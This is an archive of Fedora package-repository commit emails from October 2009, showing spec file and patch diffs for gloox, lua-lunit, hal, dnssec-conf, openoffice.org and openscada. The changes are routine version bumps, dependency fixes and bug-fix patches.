 #% define beta 7
-%define SVN 4029
+%define SVN 4204
 
 Name:		gloox
-Version:		1.0
-Release:		0.7.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
+Version:		1.0rc3
+Release:		0.8.%{?beta:beta%{beta}}%{?SVN:SVNr%{SVN}}%{?dist}
 Summary:		A rock-solid, full-featured Jabber/XMPP client library
 Group:		System Environment/Libraries
 License:		GPLv2
 URL:			http://camaya.net/gloox
 #Source0:		http://camaya.net/download/%{name}-%{version}%{?beta:-beta%{beta}}.tar.bz2
 
-# svn export -r4029 svn://svn.camaya.net/gloox/trunk gloox-1.0 && \
-#	tar -cjf gloox-1.0-SVNr4029.tar.bz2 gloox-1.0
+# svn export svn://svn.camaya.net/gloox/trunk gloox-1.0rc3 \
+#	tar -cjf gloox-1.0rc3-SVNr4203.tar.bz2 gloox-1.0rc3
 Source0:		%{name}-%{version}%{?beta:-beta%{beta}}%{?SVN:-SVNr%{SVN}}.tar.bz2
 
 #Patch1:		gloox-no_ns_get16.patch
@@ -51,6 +51,7 @@ developing applications that use %{name}
 %endif
 
 %configure --disable-static
+
 make %{?_smp_mflags}
 # recode to UTF
 mv -f AUTHORS AUTHORS.old
@@ -70,7 +71,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc AUTHORS ChangeLog LICENSE README TODO
+%doc AUTHORS ChangeLog LICENSE README TODO UPGRADING
 %{_libdir}/*.so.*
 
 %files devel
@@ -82,6 +83,23 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so
 
 %changelog
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.8.SVNr4204
+- New build due resolve my bugreport https://mail.camaya.net/horde/whups/ticket/?id=157
+
+* Sun Oct 18 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0rc3-0.7.SVNr4203
+- rc3.
+- Euroelessar (one of qutIM developer, thank you) submit patches:
+	http://bugs.camaya.net/horde/whups/ticket/?id=110
+	http://bugs.camaya.net/horde/whups/ticket/?id=155
+	http://bugs.camaya.net/horde/whups/ticket/?id=154
+	http://bugs.camaya.net/horde/whups/ticket/?id=153
+	http://bugs.camaya.net/horde/whups/ticket/?id=152
+	http://bugs.camaya.net/horde/whups/ticket/?id=151
+	http://bugs.camaya.net/horde/whups/ticket/?id=150
+	http://bugs.camaya.net/horde/whups/ticket/?id=149
+	all is important and rev 4200 at least required.
+- Include UPGRADING to %%doc
+
 * Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 1.0-0.6.SVNr4029
 - New build due to close several bugs:
 	https://mail.camaya.net/horde/whups/ticket/?id=140 - delete patch gloox-1.0-beta-SVNr4003-missed_header.patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gloox/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Jul 2009 12:15:39 -0000	1.3
+++ sources	19 Oct 2009 05:24:38 -0000	1.4
@@ -1 +1 @@
-280e5dc6790ff3cb0418c9b309f16aa9  gloox-1.0-SVNr4029.tar.bz2
+438edd7e83792c2e1905154e79bcd048  gloox-1.0rc3-SVNr4204.tar.bz2



From salimma at fedoraproject.org  Mon Oct 19 05:33:14 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 05:33:14 +0000 (UTC)
Subject: rpms/lua-lunit/EL-5 lua-lunit-0.4-myerror.patch, 1.1,
	1.2 lua-lunit.spec, 1.2, 1.3
Message-ID: <20091019053314.A23E711C00DC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306/EL-5

Modified Files:
	lua-lunit-0.4-myerror.patch lua-lunit.spec 
Log Message:
Fix missing EOL in patch; use correct patch level


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: lua-lunit-0.4-myerror.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/EL-5/lua-lunit-0.4-myerror.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit-0.4-myerror.patch	19 Oct 2009 04:04:29 -0000	1.1
+++ lua-lunit-0.4-myerror.patch	19 Oct 2009 05:33:12 -0000	1.2
@@ -8,4 +8,5 @@
 +      return error(err)
      else
        chunk()
-     end
\ No newline at end of file
+     end
+


Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/EL-5/lua-lunit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lua-lunit.spec	19 Oct 2009 04:04:29 -0000	1.2
+++ lua-lunit.spec	19 Oct 2009 05:33:13 -0000	1.3
@@ -32,7 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
-%patch0 -p0 -b .myerror
+%patch0 -p1 -b .myerror
 
 
 %build



From salimma at fedoraproject.org  Mon Oct 19 05:33:14 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 05:33:14 +0000 (UTC)
Subject: rpms/lua-lunit/F-10 lua-lunit-0.4-myerror.patch, 1.1,
	1.2 lua-lunit.spec, 1.2, 1.3
Message-ID: <20091019053314.A724111C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306/F-10

Modified Files:
	lua-lunit-0.4-myerror.patch lua-lunit.spec 
Log Message:
Fix missing EOL in patch; use correct patch level


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: lua-lunit-0.4-myerror.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-10/lua-lunit-0.4-myerror.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit-0.4-myerror.patch	19 Oct 2009 04:04:29 -0000	1.1
+++ lua-lunit-0.4-myerror.patch	19 Oct 2009 05:33:13 -0000	1.2
@@ -8,4 +8,5 @@
 +      return error(err)
      else
        chunk()
-     end
\ No newline at end of file
+     end
+


Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-10/lua-lunit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lua-lunit.spec	19 Oct 2009 04:04:29 -0000	1.2
+++ lua-lunit.spec	19 Oct 2009 05:33:14 -0000	1.3
@@ -32,7 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
-%patch0 -p0 -b .myerror
+%patch0 -p1 -b .myerror
 
 
 %build



From salimma at fedoraproject.org  Mon Oct 19 05:33:15 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 05:33:15 +0000 (UTC)
Subject: rpms/lua-lunit/F-12 lua-lunit-0.4-myerror.patch, 1.1,
	1.2 lua-lunit.spec, 1.2, 1.3
Message-ID: <20091019053315.2C8C111C00DC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306/F-12

Modified Files:
	lua-lunit-0.4-myerror.patch lua-lunit.spec 
Log Message:
Fix missing EOL in patch; use correct patch level


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: lua-lunit-0.4-myerror.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-12/lua-lunit-0.4-myerror.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit-0.4-myerror.patch	19 Oct 2009 04:04:30 -0000	1.1
+++ lua-lunit-0.4-myerror.patch	19 Oct 2009 05:33:14 -0000	1.2
@@ -8,4 +8,5 @@
 +      return error(err)
      else
        chunk()
-     end
\ No newline at end of file
+     end
+


Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-12/lua-lunit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lua-lunit.spec	19 Oct 2009 04:04:30 -0000	1.2
+++ lua-lunit.spec	19 Oct 2009 05:33:14 -0000	1.3
@@ -32,7 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
-%patch0 -p0 -b .myerror
+%patch0 -p1 -b .myerror
 
 
 %build



From salimma at fedoraproject.org  Mon Oct 19 05:33:15 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 05:33:15 +0000 (UTC)
Subject: rpms/lua-lunit/devel lua-lunit-0.4-myerror.patch, 1.1,
	1.2 lua-lunit.spec, 1.2, 1.3
Message-ID: <20091019053315.56D8F11C00DC@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306/devel

Modified Files:
	lua-lunit-0.4-myerror.patch lua-lunit.spec 
Log Message:
Fix missing EOL in patch; use correct patch level


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: lua-lunit-0.4-myerror.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/devel/lua-lunit-0.4-myerror.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit-0.4-myerror.patch	19 Oct 2009 04:04:30 -0000	1.1
+++ lua-lunit-0.4-myerror.patch	19 Oct 2009 05:33:14 -0000	1.2
@@ -8,4 +8,5 @@
 +      return error(err)
      else
        chunk()
-     end
\ No newline at end of file
+     end
+


Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/devel/lua-lunit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lua-lunit.spec	19 Oct 2009 04:04:30 -0000	1.2
+++ lua-lunit.spec	19 Oct 2009 05:33:15 -0000	1.3
@@ -32,7 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
-%patch0 -p0 -b .myerror
+%patch0 -p1 -b .myerror
 
 
 %build



From salimma at fedoraproject.org  Mon Oct 19 05:33:14 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Mon, 19 Oct 2009 05:33:14 +0000 (UTC)
Subject: rpms/lua-lunit/F-11 lua-lunit-0.4-myerror.patch, 1.1,
	1.2 lua-lunit.spec, 1.2, 1.3
Message-ID: <20091019053314.B394311C029A@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/lua-lunit/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17306/F-11

Modified Files:
	lua-lunit-0.4-myerror.patch lua-lunit.spec 
Log Message:
Fix missing EOL in patch; use correct patch level


lua-lunit-0.4-myerror.patch:
 lunit.lua |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: lua-lunit-0.4-myerror.patch
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-11/lua-lunit-0.4-myerror.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lua-lunit-0.4-myerror.patch	19 Oct 2009 04:04:30 -0000	1.1
+++ lua-lunit-0.4-myerror.patch	19 Oct 2009 05:33:14 -0000	1.2
@@ -8,4 +8,5 @@
 +      return error(err)
      else
        chunk()
-     end
\ No newline at end of file
+     end
+


Index: lua-lunit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/lua-lunit/F-11/lua-lunit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- lua-lunit.spec	19 Oct 2009 04:04:30 -0000	1.2
+++ lua-lunit.spec	19 Oct 2009 05:33:14 -0000	1.3
@@ -32,7 +32,7 @@ of approximately 710 assertions.
 
 %prep
 %setup -q -n lunit-%{version}
-%patch0 -p0 -b .myerror
+%patch0 -p1 -b .myerror
 
 
 %build



From whot at fedoraproject.org  Mon Oct 19 05:47:28 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Mon, 19 Oct 2009 05:47:28 +0000 (UTC)
Subject: rpms/hal/F-12 hal-xen-unignore-axes.patch, NONE, 1.1 hal.spec, 1.206,
	1.207
Message-ID: <20091019054728.A640711C00DC@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/hal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20940

Modified Files:
	hal.spec 
Added Files:
	hal-xen-unignore-axes.patch 
Log Message:
* Mon Oct 19 2009 Peter Hutterer <peter.hutterer at redhat.com> 0.5.13-9
- hal-xen-unignore-axes.patch: force evdev to allow rel+abs axes on the Xen
  Virtual Pointer device (#523914)


hal-xen-unignore-axes.patch:
 10-x11-input.fdi |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE hal-xen-unignore-axes.patch ---
>From e48f59d2b9bcb43ea8a7b8c884dcb73c8f65b170 Mon Sep 17 00:00:00 2001
From: Peter Hutterer <peter.hutterer at who-t.net>
Date: Mon, 19 Oct 2009 14:27:20 +1000
Subject: [PATCH] Un-ignore absolute axes for the Xen Virtual Pointer.

The evdev-internal axis type picking fails for the Xen Virtual Pointer as it
exposes both relative and absolute axes. Evdev picks the relative axes by
default, leading to a immovable pointer if the Xen backend only sends
absolute coordinates.

Explicitly tell evdev to not ignore the absolute axes.

https://bugzilla.redhat.com/show_bug.cgi?id=523914

Signed-off-by: Peter Hutterer <peter.hutterer at who-t.net>
---
 fdi/policy/10osvendor/10-x11-input.fdi |    7 +++++++
 1 files changed, 7 insertions(+), 0 deletions(-)

diff --git a/fdi/policy/10osvendor/10-x11-input.fdi b/fdi/policy/10osvendor/10-x11-input.fdi
index 89ba672..752c4ab 100644
--- a/fdi/policy/10osvendor/10-x11-input.fdi
+++ b/fdi/policy/10osvendor/10-x11-input.fdi
@@ -44,5 +44,12 @@
     <match key="info.product" contains="ThinkPad HDAPS accelerometer data">
         <remove key="input.x11_driver" />
     </match>
+
+    <!-- https://bugzilla.redhat.com/show_bug.cgi?id=523914
+         Mouse does not move in PV Xen guest -->
+    <match key="info.product" contains="Xen Virtual Pointer">
+      <merge key="input.x11_options.IgnoreAbsoluteAxes" type="string">false</merge>
+      <merge key="input.x11_options.IgnoreRelativeAxes" type="string">false</merge>
+    </match>
   </device>
 </deviceinfo>
-- 
1.6.2.5



Index: hal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hal/F-12/hal.spec,v
retrieving revision 1.206
retrieving revision 1.207
diff -u -p -r1.206 -r1.207
--- hal.spec	11 Aug 2009 11:50:10 -0000	1.206
+++ hal.spec	19 Oct 2009 05:47:28 -0000	1.207
@@ -26,7 +26,7 @@
 Summary: Hardware Abstraction Layer
 Name: hal
 Version: 0.5.13
-Release: 8%{?dist}
+Release: 9%{?dist}
 #Release: 1.%{?alphatag}%{?dist}
 URL: http://www.freedesktop.org/Software/hal
 Source0: http://hal.freedesktop.org/releases/%{name}-%{version}.tar.bz2
@@ -49,6 +49,9 @@ Patch11: hal-HDAPS-blacklist.patch
 # https://bugzilla.redhat.com/show_bug.cgi?id=507782
 Patch12: hal-mdfind.patch
 
+# https://bugzilla.redhat.com/show_bug.cgi?id=523914
+Patch13: hal-xen-unignore-axes.patch
+
 Patch100: hal-use-at-console.patch
 
 License: AFL or GPLv2
@@ -141,6 +144,7 @@ API docs for HAL.
 %patch9 -p1 -b .kvm-evdev
 %patch11 -p1 -b .hdaps-blacklist
 %patch12 -p1 -b .mdfind
+%patch13 -p1 -b .xen-unignore
 %patch100 -p1 -b .drop-polkit
 
 autoreconf -i -f
@@ -282,6 +286,10 @@ fi
 %{_datadir}/gtk-doc/html/libhal-storage/*
 
 %changelog
+* Mon Oct 19 2009 Peter Hutterer <peter.hutterer at redhat.com> 0.5.13-9
+- hal-xen-unignore-axes.patch: force evdev to allow rel+abs axes on the Xen
+  Virtual Pointer device (#523914)
+
 * Tue Aug 11 2009 Ville Skytt? <ville.skytta at iki.fi> - 0.5.13-8
 - Use bzipped upstream tarball.
 



From pwouters at fedoraproject.org  Mon Oct 19 05:59:44 2009
From: pwouters at fedoraproject.org (Paul Wouters)
Date: Mon, 19 Oct 2009 05:59:44 +0000 (UTC)
Subject: rpms/dnssec-conf/EL-5 dnssec-conf.spec,1.8,1.9
Message-ID: <20091019055944.8560311C00DC@cvs1.fedora.phx.redhat.com>

Author: pwouters

Update of /cvs/extras/rpms/dnssec-conf/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23865

Modified Files:
	dnssec-conf.spec 
Log Message:
* Mon Oct 19 2009 Paul Wouters <paul at xelerance.com> - 1.21-5
- Removed bogus unbound dependancy



Index: dnssec-conf.spec
===================================================================
RCS file: /cvs/extras/rpms/dnssec-conf/EL-5/dnssec-conf.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- dnssec-conf.spec	8 Sep 2009 21:19:47 -0000	1.8
+++ dnssec-conf.spec	19 Oct 2009 05:59:38 -0000	1.9
@@ -1,7 +1,7 @@
 Summary: DNSSEC and DLV configuration and priming tool
 Name: dnssec-conf
 Version: 1.21
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: GPLv2+
 Url: http://www.xelerance.com/software/dnssec-conf/
 Source0: http://www.xelerance.com/software/%{name}/%{name}-%{version}.tar.gz
@@ -10,7 +10,7 @@ Group: System Environment/Daemons
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
 Buildrequires: xmlto
-Requires: python-dns, curl, unbound >= 1.1.1-7
+Requires: python-dns, curl
 #Requires: a caching nameserver
 #Requires bind 9.4.0 if bind is reconfigured.....
 
@@ -56,6 +56,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_mandir}/*/*
 
 %changelog
+* Mon Oct 19 2009 Paul Wouters <paul at xelerance.com> - 1.21-5
+- Removed bogus unbound dependancy
+
 * Tue Sep 08 2009 Paul Wouters <paul at xelerance.com> - 1.21-4
 - sysconfig directory was not created.
 



From dtardon at fedoraproject.org  Mon Oct 19 06:31:26 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Mon, 19 Oct 2009 06:31:26 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch,
	NONE, 1.1 openoffice.org.spec, 1.2043, 1.2044
Message-ID: <20091019063126.2C41011C00DC@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2030

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch 
Log Message:
Resolves: rhbz#521460 - wrong page size for A3/A5

openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch:
 page.src |   62 +++++++++++++++++++++++++++++++-------------------------------
 1 file changed, 31 insertions(+), 31 deletions(-)

--- NEW FILE openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch ---
--- OOO320_m2/svx/source/cui/page.src	2009-06-12 12:36:34.000000000 +0200
+++ ../F-11/OOO310_m19/svx/source/dialog/page.src	2009-10-19 08:00:55.000000000 +0200
@@ -527,67 +527,67 @@ StringArray RID_SVXSTRARY_PAPERSIZE_STD
 {
 	ItemList [ en-US ] =
 	{
-		< "A5" ; PAPERSIZE_A5 ; > ;
-		< "A4" ; PAPERSIZE_A4 ; > ;
 		< "A3" ; PAPERSIZE_A3 ; > ;
-		< "B6 (ISO)" ; PAPERSIZE_B6_ISO ; > ;
-		< "B5 (ISO)" ; PAPERSIZE_B5_ISO ; > ;
+		< "A4" ; PAPERSIZE_A4 ; > ;
+		< "A5" ; PAPERSIZE_A5 ; > ;
 		< "B4 (ISO)" ; PAPERSIZE_B4_ISO ; > ;
+		< "B5 (ISO)" ; PAPERSIZE_B5_ISO ; > ;
+		< "B6 (ISO)" ; PAPERSIZE_B6_ISO ; > ;
+		< "B4 (JIS)" ; PAPERSIZE_B4_JIS ; > ;
+		< "B5 (JIS)" ; PAPERSIZE_B5_JIS ; > ;
+		< "B6 (JIS)" ; PAPERSIZE_B6_JIS ; > ;
 		< "Letter" ; PAPERSIZE_LETTER ; > ;
 		< "Legal" ; PAPERSIZE_LEGAL ; > ;
-		< "Long Bond" ; PAPERSIZE_LEGAL2 ; > ;
 		< "Tabloid" ; PAPERSIZE_TABLOID ; > ;
-		< "B6 (JIS)" ; PAPERSIZE_B6_JIS ; > ;
-		< "B5 (JIS)" ; PAPERSIZE_B5_JIS ; > ;
-		< "B4 (JIS)" ; PAPERSIZE_B4_JIS ; > ;
-		< "16 Kai" ; PAPERSIZE_KAI16; > ;
-		< "32 Kai" ; PAPERSIZE_KAI32; > ;
-		< "Big 32 Kai" ; PAPERSIZE_KAI32BIG; > ;
 		< "User" ; PAPERSIZE_USER ; > ;
-		< "DL Envelope" ; PAPERSIZE_DL ; > ;
+		< "C4 Envelope" ; PAPERSIZE_C4 ; > ;
+		< "C5 Envelope" ; PAPERSIZE_C5 ; > ;
 		< "C6 Envelope" ; PAPERSIZE_C6 ; > ;
 		< "C6/5 Envelope" ; PAPERSIZE_C65 ; > ;
-		< "C5 Envelope" ; PAPERSIZE_C5 ; > ;
-		< "C4 Envelope" ; PAPERSIZE_C4 ; > ;
+		< "DL Envelope" ; PAPERSIZE_DL ; > ;
 		< "#6 3/4 (Personal) Envelope" ; PAPERSIZE_COM675; > ;
 		< "#8 (Monarch) Envelope" ; PAPERSIZE_MONARCH; > ;
 		< "#9 Envelope" ; PAPERSIZE_COM9; > ;
 		< "#10 Envelope" ; PAPERSIZE_COM10; > ;
 		< "#11 Envelope" ; PAPERSIZE_COM11; > ;
 		< "#12 Envelope" ; PAPERSIZE_COM12; > ;
+		< "16 Kai" ; PAPERSIZE_KAI16; > ;
+		< "32 Kai" ; PAPERSIZE_KAI32; > ;
+		< "Big 32 Kai" ; PAPERSIZE_KAI32BIG; > ;
+		< "Long Bond" ; PAPERSIZE_LEGAL2 ; > ;
 	};
 };
 StringArray RID_SVXSTRARY_PAPERSIZE_DRAW
 {
 	ItemList [ en-US ] =
 	{
-		< "A5" ; PAPERSIZE_A5 ; > ;
-		< "A4" ; PAPERSIZE_A4 ; > ;
-		< "A3" ; PAPERSIZE_A3 ; > ;
-		< "A2" ; PAPERSIZE_A2 ; > ;
-		< "A1" ; PAPERSIZE_A1 ; > ;
 		< "A0" ; PAPERSIZE_A0 ; > ;
-		< "B6 (ISO)" ; PAPERSIZE_B6_ISO ; > ;
-		< "B5 (ISO)" ; PAPERSIZE_B5_ISO ; > ;
+		< "A1" ; PAPERSIZE_A1 ; > ;
+		< "A2" ; PAPERSIZE_A2 ; > ;
+		< "A3" ; PAPERSIZE_A3 ; > ;
+		< "A4" ; PAPERSIZE_A4 ; > ;
+		< "A5" ; PAPERSIZE_A5 ; > ;
 		< "B4 (ISO)" ; PAPERSIZE_B4_ISO ; > ;
+		< "B5 (ISO)" ; PAPERSIZE_B5_ISO ; > ;
+		< "B6 (ISO)" ; PAPERSIZE_B6_ISO ; > ;
+		< "B4 (JIS)" ; PAPERSIZE_B4_JIS ; > ;
+		< "B5 (JIS)" ; PAPERSIZE_B5_JIS ; > ;
+		< "B6 (JIS)" ; PAPERSIZE_B6_JIS ; > ;
 		< "Letter" ; PAPERSIZE_LETTER ; > ;
 		< "Legal" ; PAPERSIZE_LEGAL ; > ;
-		< "Long Bond" ; PAPERSIZE_LEGAL2 ; > ;
 		< "Tabloid" ; PAPERSIZE_TABLOID ; > ;
-		< "B6 (JIS)" ; PAPERSIZE_B6_JIS ; > ;
-		< "B5 (JIS)" ; PAPERSIZE_B5_JIS ; > ;
-		< "B4 (JIS)" ; PAPERSIZE_B4_JIS ; > ;
-		< "16 Kai" ; PAPERSIZE_KAI16; > ;
-		< "32 Kai" ; PAPERSIZE_KAI32; > ;
-		< "Big 32 Kai" ; PAPERSIZE_KAI32BIG; > ;
 		< "User" ; PAPERSIZE_USER ; > ;
-		< "DL Envelope" ; PAPERSIZE_DL ; > ;
+		< "C4 Envelope" ; PAPERSIZE_C4 ; > ;
+		< "C5 Envelope" ; PAPERSIZE_C5 ; > ;
 		< "C6 Envelope" ; PAPERSIZE_C6 ; > ;
 		< "C6/5 Envelope" ; PAPERSIZE_C65 ; > ;
-		< "C5 Envelope" ; PAPERSIZE_C5 ; > ;
-		< "C4 Envelope" ; PAPERSIZE_C4 ; > ;
+		< "DL Envelope" ; PAPERSIZE_DL ; > ;
 		< "Dia Slide" ; PAPERSIZE_DIA ; > ;
 		< "Screen" ; PAPERSIZE_SCREEN ; > ;
+		< "16 Kai" ; PAPERSIZE_KAI16; > ;
+		< "32 Kai" ; PAPERSIZE_KAI32; > ;
+		< "Big 32 Kai" ; PAPERSIZE_KAI32BIG; > ;
+		< "Long Bond" ; PAPERSIZE_LEGAL2 ; > ;
 	};
 };
 String RID_SVXSTR_PAPERBIN


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/extras/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2043
retrieving revision 1.2044
diff -u -p -r1.2043 -r1.2044
--- openoffice.org.spec	17 Oct 2009 15:48:05 -0000	1.2043
+++ openoffice.org.spec	19 Oct 2009 06:31:23 -0000	1.2044
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 2
-%define rh_rpm_release 2
+%define rh_rpm_release 3
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -116,6 +116,7 @@ Patch42: workspace.vcl106.patch
 Patch43: openoffice.org-3.1.1.ooo105784.vcl.sniffscriptforsubs.patch
 Patch44: openoffice.org-3.2.0.ooo105827.filter.xpath-on-rtf-not-allowed.patch
 Patch45: openoffice.org-3.2.0.ooo105988.svx.a11ycrash.patch
+Patch46: openoffice.org-3.2.0.rhbz521460.svx.revert-paper-sizes-reordering.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1621,6 +1622,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch43 -p0 -b .ooo105784.vcl.sniffscriptforsubs.patch
 %patch44 -p0 -b .ooo105827.filter.xpath-on-rtf-not-allowed.patch
 %patch45 -p0 -b .ooo105988.svx.a11ycrash.patch
+%patch46 -p1 -b .rhbz521460.svx.revert-paper-sizes-reordering.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4121,8 +4123,11 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Mon Oct 19 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.3
+- Resolves: rhbz#521460 - wrong page size for A3/A5 (dtardon)
+
 * Sat Oct 17 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.2
-- Resolves: ooo#105988 a11y crash in impress
+- Resolves: ooo#105988 a11y crash in impress (caolanm)
 
 * Thu Oct 15 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.1
 - Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is



From aleksey2005 at fedoraproject.org  Mon Oct 19 07:27:07 2009
From: aleksey2005 at fedoraproject.org (Popkov Aleksey)
Date: Mon, 19 Oct 2009 07:27:07 +0000 (UTC)
Subject: rpms/openscada/F-12 import.log,1.8,1.9 openscada.spec,1.13,1.14
Message-ID: <20091019072707.5C0CE11C00DC@cvs1.fedora.phx.redhat.com>

Author: aleksey2005

Update of /cvs/pkgs/rpms/openscada/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24025/F-12

Modified Files:
	import.log openscada.spec 
Log Message:
Release OpenSCADA 0.6.4


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/import.log,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- import.log	13 Oct 2009 09:42:52 -0000	1.8
+++ import.log	19 Oct 2009 07:27:01 -0000	1.9
@@ -6,3 +6,4 @@ openscada-0_6_3_3-6_fc10:HEAD:openscada-
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245444161
 openscada-0_6_3_3-7_fc10:HEAD:openscada-0.6.3.3-7.fc10.src.rpm:1245447259
 openscada-0_6_4-1_fc11:F-12:openscada-0.6.4-1.fc11.src.rpm:1255426976
+openscada-0_6_4-2_fc11:F-12:openscada-0.6.4-2.fc11.src.rpm:1255937062


Index: openscada.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/F-12/openscada.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- openscada.spec	13 Oct 2009 09:42:52 -0000	1.13
+++ openscada.spec	19 Oct 2009 07:27:01 -0000	1.14
@@ -68,7 +68,7 @@
 Summary: Open SCADA system project
 Name: openscada
 Version: 0.6.4
-Release: 1%{?dist}
+Release: 2%{?dist}
 Source0: ftp://oscada.org.ua/OpenSCADA/0.6.3/openscada-%version.tar.gz
 # Init scripts for fedora
 Patch0: oscada.init.patch
